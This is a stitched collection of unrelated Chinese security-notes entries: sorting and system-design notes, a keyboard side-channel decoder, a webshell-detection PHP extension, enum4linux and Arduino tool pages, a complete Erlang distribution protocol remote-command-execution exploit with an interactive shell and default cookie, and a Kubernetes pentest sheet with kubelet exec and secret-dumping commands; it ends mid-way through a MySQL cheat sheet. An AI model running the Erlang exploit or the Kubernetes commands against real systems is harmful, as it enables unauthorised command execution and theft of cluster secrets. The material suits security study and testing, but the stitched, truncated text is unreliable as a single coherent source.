快速排序是最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN,这里的 c 比其它线性对数级别的排序算法都要小。
使用三向切分快速排序,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
### 2. Java 的排序算法实现
Java 主要排序方法为 java.util.Arrays.sort(),对于原始数据类型使用三向切分的快速排序,对于引用类型使用归并排序。
|
sec-knowleage
|
import sys
import matplotlib.pyplot as plt
# http://atariage.com/forums/topic/188172-pokey-keyboard-codes/
keys = {
63: "A",
62: "S",
61: "G",
60: "Cap",
58: "D",
57: "H",
56: "F",
55: "Great",
54: "Less",
53: "8",
52: "BSp",
51: "7",
50: "0",
48: "9",
47: "Q",
46: "W",
45: "T",
44: "Tab",
43: "Y",
42: "E",
40: "R",
39: "Inv",
38: "Slash",
37: "M",
35: "N",
34: "Dot",
33: "Spa",
32: "Comma",
31: "1",
30: "2",
29: "5",
28: "Esc",
27: "6",
26: "3",
24: "4",
23: "Z",
22: "X",
21: "B",
20: "F4",
19: "F3",
18: "C",
17: "Hlp",
16: "V",
15: "Equal",
14: "Minus",
13: "I",
12: "Ret",
11: "U",
10: "P",
8: "O",
7: "Aster",
6: "plus",
5: "K",
4: "F2",
3: "F1",
2: "Semi",
1: "J",
0: "L",
}
t, y, z = [], [], []
datas = []
when = []
for line in open(sys.argv[1]).readlines()[1:]:
line = line.split(",")
it = float(line[0])
w6 = float(line[1])
w7 = float(line[2])
t.append(it)
y.append(w6)
z.append(w7)
if w6 < 2.5 and (not when or it - when[-1] > 0.050):
when.append(it)
print when
bits = [0] * len(when)
for bit in range(6):
i = 0
for line in open(sys.argv[1]).readlines()[1:]:
line = line.split(",")
it = float(line[3+2*bit])
if it > when[i]:
val = int(line[4+2*bit])
bits[i] |= val << bit
i += 1
if i >= len(when): break
print bit
for bit in bits:
print keys[bit]
print bits
plt.plot(t, y)
plt.plot(t, z)
plt.show()
|
sec-knowleage
|
原文 by [tsrc](https://security.tencent.com/index.php/blog/msg/19)
## 一、变形webshell
webshell比如eval($_POST[])大家都耳熟能详,近几年在常见的webshell基础上衍生了很多变种,加大了检测难度,下面先看几个从网上摘取的样本:
### 1、无ascii码和数字的webshell

### 2、隐藏关键字

### 3、编码 + 隐藏关键字

从目前已经公开的样本来看,变形的php webshell都是采取了隐藏关键字(eval、system等)的方法来躲避查杀。有一位monyer同学写过一篇webshell的检测文章,他把webshell拆分为下面的结构,执行数据和数据传递,检测思路是:以小括号为界限,匹配执行数据部分是否命中收集的样本的关键字。这种思路很好,个人觉得有两处不足:
1、需要人工维护收集新样本。
2、误报量不可预估。

再看这个结构,变形的webshell无非是隐藏了执行数据部分或者数据传递部分,不过无论怎么变形本质上还是去调用eval、调用system、exec等命令执行函数,杀毒软件通过异常行为来检测木马病毒,比如开机自启动,这种思想同样也可以用在webshell的检测中。获取行为数据是第一步。
## 二、PHP HOOK
这里我们只需要一些敏感的行为数据,比如eval、system的调用。实现方法很简单,hook这些php函数或语法结构,这里通过php扩展来实现hook。下面以eval和system来简要概述下hook的方法。
Eval是一个语法结构,调用eval最终会调用php内核的zend_compile_string函数,hook eval的只需要重写zend_complie_string函数即可,流程如下:

System是php的一个内部函数,php代码是转化为opcode(指令)来执行,函数调用的指令是ZEND_DO_FCALL,风雪之隅大牛在taint扩展(详见参考二)就是通过重载ZEND_DO_FCALL的方法实现了。因为我们并不需要hook每个内部函数,所以这里介绍另外一种方法,流程如下:

上报的数据写在一个日志文件中,包括文件名、调用函数名、代码在文件的行数。日志结构和内容如下:

附件中有eval、system函数hook实现的demo,具体细节可以查看代码。demo只在php-5.3.6上测试过,不兼容之处忘见谅。
## 三、检测
变形webshell分为两大类,下面依次说明一下检测逻辑。
### 1、执行数据隐藏
一个正常的程序员如果使用eval、system是不会刻意的转换隐藏的,如果发现某个函数执行了,代码中却找不到这个函数名,我们认为这是一个异常行为。以下面这个变形为例

比如黑客传入参数nonalpha.php?_=system&__=whoami执行了一条命令,日志会记录

我们在后端取nonalpha.php文件的第7行内容匹配system 字符串,如果没找到,则认为是一个变形webshell。
### 2、数据传递隐藏
先看下面这个例子

这个webshell通过编码的referer来传递攻击载荷,利用日志文件记录到的文件名和行数把代码上报到后端,和后端svn中的代码做对比,如果不一致,则认为是一个webshell。
## 四、不足
web承受着大量的访问请求,增加的php扩展的性能和稳定性是一个严峻的考验,另外在服务器比较多的公司还存在一个推广和部署成本。
## 五、附录demo
``` c
// php_antiwebshell.h
#ifndef PHP_ANTIWEBSHELL_H
#define PHP_ANTIWEBSHELL_H
extern zend_module_entry antiwebshell_module_entry;
#define phpext_antiwebshell_ptr &antiwebshell_module_entry
#ifdef PHP_WIN32
# define PHP_ANTIWEBSHELL_API __declspec(dllexport)
#elif defined(__GNUC__) && __GNUC__ >= 4
# define PHP_ANTIWEBSHELL_API __attribute__ ((visibility("default")))
#else
# define PHP_ANTIWEBSHELL_API
#endif
#ifdef ZTS
#include "TSRM.h"
#endif
PHP_MINIT_FUNCTION(antiwebshell);
PHP_MSHUTDOWN_FUNCTION(antiwebshell);
PHP_RINIT_FUNCTION(antiwebshell);
PHP_RSHUTDOWN_FUNCTION(antiwebshell);
PHP_MINFO_FUNCTION(antiwebshell);
PHP_FUNCTION(internal_system_hook);
#ifdef ZTS
#define ANTIWEBSHELL_G(v) TSRMG(antiwebshell_globals_id, zend_antiwebshell_globals *, v)
#else
#define ANTIWEBSHELL_G(v) (antiwebshell_globals.v)
#endif
#endif /* PHP_ANTIWEBSHELL_H */
```
``` c
// antiwebshell.c
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#define VERSION "1.0"
#define EX_T(offset) (*(temp_variable *)((char *) EX(Ts) + offset))
#define RETURN_VALUE_USED(opline) (!((opline)->result.u.EA.type & EXT_TYPE_UNUSED))
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_antiwebshell.h"
/* True global resources - no need for thread safety here */
static int le_antiwebshell;
char logfile[32] = "/tmp/antiwebshell.log";
zend_function *p;
static zend_op_array *(*old_compile_string)(zval *source_string, char *filename TSRMLS_DC);
static zend_op_array* hook_compile_string(zval *source_string, char *filename TSRMLS_DC);
void FuncRestore(char*);
void BackupFunc(char*);
zend_function_entry danger_functions[] = {
PHP_FALIAS(system, internal_system_hook, NULL)
{NULL, NULL, NULL}
};
zend_module_entry antiwebshell_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
"antiwebshell",
NULL,
PHP_MINIT(antiwebshell),
PHP_MSHUTDOWN(antiwebshell),
PHP_RINIT(antiwebshell), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(antiwebshell), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(antiwebshell),
#if ZEND_MODULE_API_NO >= 20010901
VERSION, /* Replace with version number for your extension */
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_ANTIWEBSHELL
ZEND_GET_MODULE(antiwebshell)
#endif
PHP_MINIT_FUNCTION(antiwebshell)
{
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(antiwebshell)
{
return SUCCESS;
}
PHP_RINIT_FUNCTION(antiwebshell)
{
detect_init();
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(antiwebshell)
{
zend_compile_string = old_compile_string;
return SUCCESS;
}
PHP_MINFO_FUNCTION(antiwebshell)
{
php_info_print_table_start();
php_info_print_table_header(2, "antiwebshell support", "enabled");
php_info_print_table_row(2, "Version", VERSION);
php_info_print_table_end();
}
PHP_FUNCTION(internal_system_hook)
{
char funcname[16] = "baksystem";
FuncRestore(funcname);
}
int detect_init()
{
old_compile_string = zend_compile_string;
zend_compile_string = hook_compile_string;
char funcname[8] = "system";
BackupFunc(funcname);
zend_register_functions(NULL, danger_functions, CG(function_table), MODULE_PERSISTENT TSRMLS_CC);
return 0;
}
static zend_op_array* hook_compile_string(zval *source_string, char *filename TSRMLS_DC) {
zend_op_array *op_array;
op_array = old_compile_string(source_string, filename TSRMLS_CC);
if(strstr(op_array->filename, "eval()'d code")) {
char *file_name = zend_get_executed_filename(TSRMLS_C);
char function_name[8] = "eval";
int lineno = zend_get_executed_lineno(TSRMLS_C);
danger_log(file_name, function_name, lineno);
}
return old_compile_string(source_string, filename TSRMLS_CC);
}
void FuncRestore(char *func)
{
TSRMLS_FETCH();
char funcname[16];
strcpy(funcname, func);
char *file_name = zend_get_executed_filename(TSRMLS_C);
char *function_name = get_active_function_name(TSRMLS_C);
int lineno = zend_get_executed_lineno(TSRMLS_C);
danger_log(file_name, function_name, lineno);
zend_function *q;
zend_execute_data *execute_datatmp = EG(current_execute_data);
zend_execute_data execute_data = *execute_datatmp;
zend_op *opline = EX(opline);
zend_hash_find(CG(function_table), funcname, strlen(funcname) + 1, (void **)&q);
temp_variable *ret = &EX_T(opline->result.u.var);
ALLOC_INIT_ZVAL(ret->var.ptr);
ret->var.ptr_ptr = &ret->var.ptr;
ret->var.fcall_returned_reference = q->common.return_reference;
q->internal_function.handler(opline->extended_value, ret->var.ptr, q->common.return_reference?&ret->var.ptr:NULL, EX(object)
, RETURN_VALUE_USED(opline) TSRMLS_CC);
opline = EX(opline);
}
void BackupFunc(char *func)
{
TSRMLS_FETCH();
char funcname[8];
strcpy(funcname, func);
zend_hash_find(CG(function_table), funcname, strlen(funcname) + 1, (void **)&p);
char bakfuncname[16] = "bak";
strcat(bakfuncname, funcname);
zend_hash_add(CG(function_table), bakfuncname, strlen(bakfuncname) + 1, p , sizeof(zend_internal_function), NULL);
zend_hash_del(CG(function_table), funcname, strlen(funcname) + 1);
}
void danger_log(char *file_name, char *function_name, int lineno)
{
FILE *fh;
fh = fopen(logfile, "ab+");
fprintf(fh, "[filename]: %s\n[function]: %s\n[linenume]: %d\n\n", file_name, function_name, lineno);
fclose(fh);
}
```
|
sec-knowleage
|
---
title: enum4linux
categories: Information Gathering
tags: [information gathering,recon,smb,enumeration,enum4linux,kali linux]
date: 2016-10-23 15:59:00
---
0x00 enum4linux介绍
-------------
enum.exe的Linux替代软件,用于枚举Windows和Samba主机中的数据。
概述:
```plain
Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。
它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
工具的用法可以在下面找到例子,以前版本的工具可以在页面底部找到。
dnstracer用于获取给定主机名从给定域名服务器(DNS)的信息,并跟随DNS服务器链得到权威结果。
```
主要特性:
```plain
RID循环(当Windows 2000上的RestrictAnonymous设置为1时)
用户列表(当Windows 2000上的RestrictAnonymous设置为0时)
组成员信息列表
共享枚举
检测主机是否在工作组或域中
识别远程操作系统
密码策略检索(使用polenum)
```
工具来源:https://labs.portcullis.co.uk/tools/enum4linux/
[dnstracer主页][1] | [Kali dnstracer Repo仓库][2]
- 作者:Mark Lowe
- 证书:GPLv2
0x01 enum4linux功能
---------------
```shell
root@kali:~# enum4linux -h
enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/)
Copyright (C) 2011 Mark Lowe (mrl@portcullis-security.com)
简单的封装了在samba包中的工具,以提供类似的enum.exe功能(以前从www.bindview.com)。 为了方便起见,还增加了一些附加功能,例如RID循环。
用法: ./enum4linux.pl [选项] ip地址
枚举选项:
-U 获取用户列表
-M 获取机器列表*
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-d 详述适用于-U和-S
-u user 用户指定要使用的用户名(默认"")
-p pass 指定要使用的密码(默认为"")
以下选项是enum.exe未实现的: -L, -N, -D, -f
其他选项:
-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
-h 显示此帮助消息并退出
-r 通过RID循环枚举用户
-R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
-K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
-s 文件暴力猜测共享名称
-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
用于获取sid与“lookupsid known_username”
使用逗号尝试几个用户:“-k admin,user1,user2”
-o 获取操作系统信息
-i 获取打印机信息
-w wrkg 手动指定工作组(通常自动找到)
-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)
RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。
注意:Samba服务器通常似乎有RID在范围3000-3050。
依赖性信息:您将需要安装samba包,因为此脚本基本上只是一个包装rpcclient,net,nmblookup和smbclient。 Polenum从http://labs.portcullis.co.uk/application/polenum/需要获取密码政策信息。
```
0x02 enum4linux用法示例
-----------------
```shell
root@kali:~# enum4linux -a -o www.harvard.edu
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Oct 24 00:37:22 2016
==========================
| Target Information |
==========================
Target ........... www.harvard.edu
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=======================================================
| Enumerating Workgroup/Domain on www.harvard.edu |
=======================================================
[E] Can't find workgroup/domain
===============================================
| Nbtstat Information for www.harvard.edu |
===============================================
Looking up status of 104.16.155.6
No reply from 104.16.155.6
========================================
| Session Check on www.harvard.edu |
========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```
[1]: https://labs.portcullis.co.uk/tools/enum4linux/
[2]: http://git.kali.org/gitweb/?p=packages/enum4linux.git;a=summary
|
sec-knowleage
|
# 系统设计基础
<!-- GFM-TOC -->
* [系统设计基础](#系统设计基础)
* [一、性能](#一性能)
* [二、伸缩性](#二伸缩性)
* [三、扩展性](#三扩展性)
* [四、可用性](#四可用性)
* [五、安全性](#五安全性)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、性能
### 性能指标
#### 1. 响应时间
指某个请求从发出到接收到响应消耗的时间。
在对响应时间进行测试时,通常采用重复请求的方式,然后计算平均响应时间。
#### 2. 吞吐量
指系统在单位时间内可以处理的请求数量,通常使用每秒的请求数来衡量。
#### 3. 并发用户数
指系统能同时处理的并发用户请求数量。
在没有并发存在的系统中,请求被顺序执行,此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s,那么平均响应时间应该为 0.01s。
目前的大型系统都支持多线程来处理并发请求,多线程能够提高吞吐量以及缩短响应时间,主要有两个原因:
- 多 CPU
- IO 等待时间
使用 IO 多路复用等方式,系统在等待一个 IO 操作完成的这段时间内不需要被阻塞,可以去处理其它请求。通过将这个等待时间利用起来,使得 CPU 利用率大大提高。
并发用户数不是越高越好,因为如果并发用户数太高,系统来不及处理这么多的请求,会使得过多的请求需要等待,那么响应时间就会大大提高。
### 性能优化
#### 1. 集群
将多台服务器组成集群,使用负载均衡将请求转发到集群中,避免单一服务器的负载压力过大导致性能降低。
#### 2. 缓存
缓存能够提高性能的原因如下:
- 缓存数据通常位于内存等介质中,这种介质对于读操作特别快;
- 缓存数据可以位于靠近用户的地理位置上;
- 可以将计算结果进行缓存,从而避免重复计算。
#### 3. 异步
某些流程可以将操作转换为消息,将消息发送到消息队列之后立即返回,之后这个操作会被异步处理。
## 二、伸缩性
指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
### 伸缩性与性能
如果系统存在性能问题,那么单个用户的请求总是很慢的;
如果系统存在伸缩性问题,那么单个用户的请求可能会很快,但是在并发数很高的情况下系统会很慢。
### 实现伸缩性
应用服务器只要不具有状态,那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
关系型数据库的伸缩性通过 Sharding 来实现,将数据按一定的规则分布到不同的节点上,从而解决单台存储服务器的存储空间限制。
对于非关系型数据库,它们天生就是为海量数据而诞生,对伸缩性的支持特别好。
## 三、扩展性
指的是添加新功能时对现有系统的其它应用无影响,这就要求不同应用具备低耦合的特点。
实现可扩展主要有两种方式:
- 使用消息队列进行解耦,应用之间通过消息传递进行通信;
- 使用分布式服务将业务和可复用的服务分离开来,业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑,对其它产品没有影响。
## 四、可用性
### 冗余
保证高可用的主要手段是使用冗余,当某个服务器故障时就请求其它服务器。
应用服务器的冗余比较容易实现,只要保证应用服务器不具有状态,那么某个应用服务器故障时,负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上,不会对用户有任何影响。
存储服务器的冗余需要使用主从复制来实现,当主服务器故障时,需要提升从服务器为主服务器,这个过程称为切换。
### 监控
对 CPU、内存、磁盘、网络等系统负载信息进行监控,当某个信息达到一定阈值时通知运维人员,从而在系统发生故障之前及时发现问题。
### 服务降级
服务降级是系统为了应对大量的请求,主动关闭部分功能,从而保证核心功能可用。
## 五、安全性
要求系统在应对各种攻击手段时能够有可靠的应对措施。
## 参考资料
- 大型网站技术架构:核心原理与案例分析
|
sec-knowleage
|
a=[]
for i in range(30):
a.append([])
data=open("out").readlines()
mx=0
for line in data:
if line.strip()=="":
break
num=int(line.split("(")[1].split(")")[0])
line=line.split(") for ")[1]
a[num].append(line.strip())
if len(a[num])>mx:
mx=len(a[num])
for i in range(mx):
for arr in a:
if len(arr)<=i:
print " "*7,
else:
print arr[i],
print
|
sec-knowleage
|
---
title: Arduino
categories: Hardware Hacking
tags: [Arduino,Hardware Hacking,kali linux]
date: 2019-06-25 11:16:00
---
0x00 Arduino介绍
-------------
Arduino是一个基于适应性强,用法简便的软件和硬件平台的开源电子开发平台。它主要面向艺术家,设计师,爱好者以及其他所有对创造交互式项目以及环境有兴趣的人。
原项目地址: http://www.arduino.cc/
[Arduino主页](http://www.arduino.cc/) | [Kali上的Arduino库](http://git.kali.org/gitweb/?p=packages/arduino.git;a=summary)
- 作者: Marc De Scheemaecker
- 证书: ZLIB
0x01 包含的工具
----------------
##### arduino – AVR开发板IDE和内置库
Arduino是一个基于适应性强,用法简便的软件和硬件平台的开源电子开发平台。它主要面向艺术家,设计师,爱好者以及其他所有对创造交互式项目以及环境有兴趣的人。
##### 添加到arduino群组 – 将当前用户添加至dialout组别
##### 这个程序没有参数,会直接将当前用户添加至dialout组别.
0x02 用法示例
----------------
`root@kali:~# arduino`
[](http://tools.kali.org/wp-content/uploads/2014/02/arduino.png)
|
sec-knowleage
|
# Exploit Title: Remote Command Execution via Erlang Distribution Protocol
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
# Version: N/A
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name "
# References:
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
#!/usr/local/bin/python3
import socket
from hashlib import md5
import struct
import sys
import re
import time
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
# Some data:
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024) # Receive "challenge" message
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
#print("Extracted challenge: {}".format(challenge))
# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
|
sec-knowleage
|
# Container - Kubernetes Pentest
> Kubernetes commonly stylized as K8s) is an open-source container orchestration system for automating software deployment, scaling, and management.
## Summary
- [Tools](#tools)
- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](#obtaining-service-account-token)
- [References](#references)
## Tools
* [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges.
```ps1
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
```
* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce)
## Accessible kubelet on 10250/TCP
Requirements:
* `--anonymous-auth`: Enables anonymous requests to the Kubelet server
* Getting pods: `curl -ks https://worker:10250/pods`
* Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'`
## Obtaining Service Account Token
Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token`
Use the service account token:
* on kube-apiserver API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets`
* with kubectl: ` kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json`
## References
* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
|
sec-knowleage
|
---
title: MySQL
date: 2020-12-16 18:28:43
background: bg-[#2a6387]
tags:
- RDBMS
- DB
categories:
- Database
intro: The SQL cheat sheet provides you with the most commonly used SQL statements for your reference.
plugins:
- tooltip
- copyCode
---
Getting Started {.cols-2}
---------------
### Connect MySQL
```
mysql -u <user> -p
mysql [db_name]
mysql -h <host> -P <port> -u <user> -p [db_name]
mysql -h <host> -u <user> -p [db_name]
```
### Commons {.row-span-2}
#### Database
| - | - |
|--------------------------|-----------------|
| `CREATE DATABASE` db `;` | Create database |
| `SHOW DATABASES;` | List databases |
| `USE` db`;` | Switch to db |
| `CONNECT` db `;` | Switch to db |
| `DROP DATABASE` db`;` | Delete db |
#### Table
| - | - |
|--------------------------|----------------------------|
| `SHOW TABLES;` | List tables for current db |
| `SHOW FIELDS FROM` t`;` | List fields for a table |
| `DESC` t`;` | Show table structure |
| `SHOW CREATE TABLE `t`;` | Show create table sql |
| `TRUNCATE TABLE `t`;` | Remove all data in a table |
| `DROP TABLE `t`;` | Delete table |
#### Proccess
| - | - |
|---------------------|----------------|
| `show processlist;` | List processes |
| `kill` pid`;` | kill process |
#### Other
| - | - |
|----------------|--------------------|
| `exit` or `\q` | Exit MySQL session |
### Backups
Create a backup
```sql
mysqldump -u user -p db_name > db.sql
```
Export db without schema
``` {.wrap}
mysqldump -u user -p db_name --no-data=true --add-drop-table=false > db.sql
```
Restore a backup
```
mysql -u user -p db_name < db.sql
```
MySQL Examples
--------------
### Managing tables
Create a new table with three columns
```sql
CREATE TABLE t (
id INT,
name VARCHAR DEFAULT NOT NULL,
price INT DEFAULT 0
PRIMARY KEY(id)
);
```
Delete the table from the database
```sql
DROP TABLE t ;
```
Add a new column to the table
```sql
ALTER TABLE t ADD column;
```
Drop column c from the table
```sql
ALTER TABLE t DROP COLUMN c ;
```
Add a constraint
```sql
ALTER TABLE t ADD constraint;
```
Drop a constraint
```sql
ALTER TABLE t DROP constraint;
```
Rename a table from t1 to t2
```sql
ALTER TABLE t1 RENAME TO t2;
```
Rename column c1 to c2
```sql
ALTER TABLE t1 RENAME c1 TO c2 ;
```
Remove all data in a table
```sql
TRUNCATE TABLE t;
```
### Querying data from a table
Query data in columns c1, c2 from a table
```sql
SELECT c1, c2 FROM t
```
Query all rows and columns from a table
```sql
SELECT * FROM t
```
Query data and filter rows with a condition
```sql
SELECT c1, c2 FROM t
WHERE condition
```
Query distinct rows from a table
```sql
SELECT DISTINCT c1 FROM t
WHERE condition
```
Sort the result set in ascending or descending order
```sql
SELECT c1, c2 FROM t
ORDER BY c1 ASC [DESC]
```
Skip offset of rows and return the next n rows
```sql
SELECT c1, c2 FROM t
ORDER BY c1
LIMIT n OFFSET offset
```
Group rows using an aggregate function
```sql
SELECT c1, aggregate(c2)
FROM t
GROUP BY c1
```
Filter groups using HAVING clause
```sql
SELECT c1, aggregate(c2)
FROM t
GROUP BY c1
HAVING condition
```
### Querying from multiple tables {.row-span-2}
Inner join t1 and t2
```sql
SELECT c1, c2
FROM t1
INNER JOIN t2 ON condition
```
Left join t1 and t1
```sql
SELECT c1, c2
FROM t1
LEFT JOIN t2 ON condition
```
Right join t1 and t2
```sql
SELECT c1, c2
FROM t1
RIGHT JOIN t2 ON condition
```
Perform full outer join
```sql
SELECT c1, c2
FROM t1
FULL OUTER JOIN t2 ON condition
```
Produce a Cartesian product of rows in tables
```sql
SELECT c1, c2
FROM t1
CROSS JOIN t2
```
Another way to perform cross join
```sql
SELECT c1, c2
FROM t1, t2
```
Join t1 to itself using INNER JOIN clause
```sql
SELECT c1, c2
FROM t1 A
INNER JOIN t1 B ON condition
```
Using SQL Operators
Combine rows from two queries
```sql
SELECT c1, c2 FROM t1
UNION [ALL]
SELECT c1, c2 FROM t2
```
Return the intersection of two queries
```sql
SELECT c1, c2 FROM t1
INTERSECT
SELECT c1, c2 FROM t2
```
Subtract a result set from another result set
```sql
SELECT c1, c2 FROM t1
MINUS
SELECT c1, c2 FROM t2
```
Query rows using pattern matching %, _
```sql
SELECT c1, c2 FROM t1
WHERE c1 [NOT] LIKE pattern
```
Query rows in a list
```sql
SELECT c1, c2 FROM t
WHERE c1 [NOT] IN value_list
```
Query rows between two values
```sql
SELECT c1, c2 FROM t
WHERE c1 BETWEEN low AND high
```
Check if values in a table is NULL or not
```sql
SELECT c1, c2 FROM t
WHERE c1 IS [NOT] NULL
```
### Using SQL constraints
Set c1 and c2 as a primary key
```sql
CREATE TABLE t(
c1 INT, c2 INT, c3 VARCHAR,
PRIMARY KEY (c1,c2)
);
```
Set c2 column as a foreign key
```sql
CREATE TABLE t1(
c1 INT PRIMARY KEY,
c2 INT,
FOREIGN KEY (c2) REFERENCES t2(c2)
);
```
Make the values in c1 and c2 unique
```sql
CREATE TABLE t(
